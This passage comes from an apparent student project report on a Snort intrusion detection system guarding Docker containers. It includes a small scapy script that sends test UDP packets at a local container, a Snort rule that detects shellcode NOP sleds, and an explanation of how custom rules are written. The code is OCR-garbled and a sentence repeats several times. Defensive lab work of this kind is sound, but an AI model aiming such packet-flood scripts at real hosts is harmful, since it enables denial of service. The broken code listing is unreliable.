<pre>load.truncate() print("ip address are unblocked!! ready to access!" break</pre>	$\boldsymbol{\sharp}$ to make the file shorter we are using truncation $\boldsymbol{\theta}$

19

2)

aniket@singhaniket: /etc/snort/rules

GNU nano 2.9.3			DDOS_UDP.py
from scapy.all import *			
<pre>def testingofddos(src, d X=IP(src=src, ds Y=UDP(dport=313) Z=request(load= packets= x/y/z send(packets)</pre>	<pre>dst, iface, count): st=dst) #creating packet 35) #creating packet: PONG') # include pong : #creation of co #sending packet</pre>	ts formation which includes s which includes destinatio request parameter for measu omplete packet by concatina t for the process	source and detination n port for UDP ring dealy in transmitted packet tion
<pre>src="192.168.0.38" dst="172.17.0.1" iface="ens33" count=10 testingofddos(src, dst,</pre>	<pre>#source ip address #destination ip address #interface on which it #number of count it ca iface, count)</pre>	s docker container will hit the request an be incresed as per the #calling defined funtion	requirement for executiion

Below is the out put of the alert from the above script. However, we had used the grep to show the specific set of output rather than entire logs.



Below is the output of the alert from the above script. However, we had used the grep to show the specific set of output rather than entire logs.



Below is the output of the alert from the above script. However, we had used the grep to show the specific set of output rather than entire logs.



#### 5)

Below is the output of the alert from the above script. However, we had used the grep to show the specific set of output rather than entire logs.

aniket@singhaniket:/etc/snort/rules\$ cat exploit.rules | grep NOOP alert tcp \$EXTERNAL\_NET any -> \$HOME\_NET 22 (msg:"EXPLOIT ssh CRC32 overflow NO OP"; flow:to\_server,established; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90]"; reference:bugtraq,2347; reference:cve,2001-0144; reference:cve,2 001-0572; classtype:shellcode-detect; sid:1326; rev:6;) aniket@singhaniket:/etc/snort/rules\$

#### Creation of customized rules in snort.

[Action][protocol] [IP address(source)] [port(source)] -> [IP address (destination)] [destination (port)]



Above fig illustrates the format to write the customized rule. Now we will discuss the use of each element for the formation of the rule.

- 1) ALERT: The option alert describes the action of the rule.
- 2) ICMP: Here our rule will look for ICMP packets. we can modify the protocol (TCP, UDP etc.,) as per our requirement.
- 3) Source Address: source IP address here we can define the IP address. if we want to check for the packet from the specific source then we have to hardcode the IP address or else we can leave it as "any" So that by default all the IP address will be matched.
- 4) Source port: We can define the source port as per the protocol for example port 23 is TCP port used for telnet or SSH port 22. Other wise use "any" then it will include all the ports.
- 5) Direction (->): for source to destination one directional communication, we use (->) and for bidirectional communication we can also use (<>).

- 6) ANY: This option in the above format is nothing but the destination IP address. However, to reach certain defined destination we can replace "ANY" with specific IP address. Same is the case with destination port.
- 7) Rule option: When any written rule matches, we get the notification in the form of alert with the message that we have described for the defined rule. However, SID field is used to uniquely identifying the snort rule.



The above are the customized set of rules that were written in order to make IDS alert ang identify the different set of protocol and the generated traffic along with that allowing and deny the specific ports.

Controlling of traffic from external network to home network is very crucial because by default all the traffic is forwarded to home network tough there is no need of all the traffic hence restriction on the unwanted and malicious traffic is very much needed which is already been achieved by writing the python code using scapy library and in addition we have implemented few customized rules using text editor as well. That is the main advantage of using the snort.

**6)Conclusion:** To detect the malicious activity the implementation of snort-based ids with the help of python scripts and customized rule is able to detect the privilege escalation attack, unwanted request via ping, Denial of service related to both TCP, UDP protocols in real time. Moreover, the abuse of rest API in docker is also protected along with hidden scanning of the network. Above we had also seen the different test case wise implementation which illustrates the different attack and defense provided by our implemented IDS to secure the deployment of docker containers.

### 7.Reference

1)AnonymousCH, n.d. LOIC on Linux Ubuntu 13.04 without WINE! (HD).

2)curl - How To Use [WWW Document], n.d. URL https://curl.se/docs/manpage.html (accessed 8.13.21). 3)hping3, n.d. URL https://tools.kali.org/information-gathering/hping3 (accessed 8.13.21).

4)Nmap: the Network Mapper - Free Security Scanner [WWW Document], n.d. URL https://nmap.org/ (accessed 8.13.21).

5)Parsing JSON with jq [WWW Document], n.d. URL http://www.compciv.org/recipes/cli/jq-for-parsing-json/ (accessed 8.13.21).

6) Wireshark User's Guide [WWW Document], n.d. URL

https://www.wireshark.org/docs/wsug\_html\_chunked/ (accessed 8.13.21).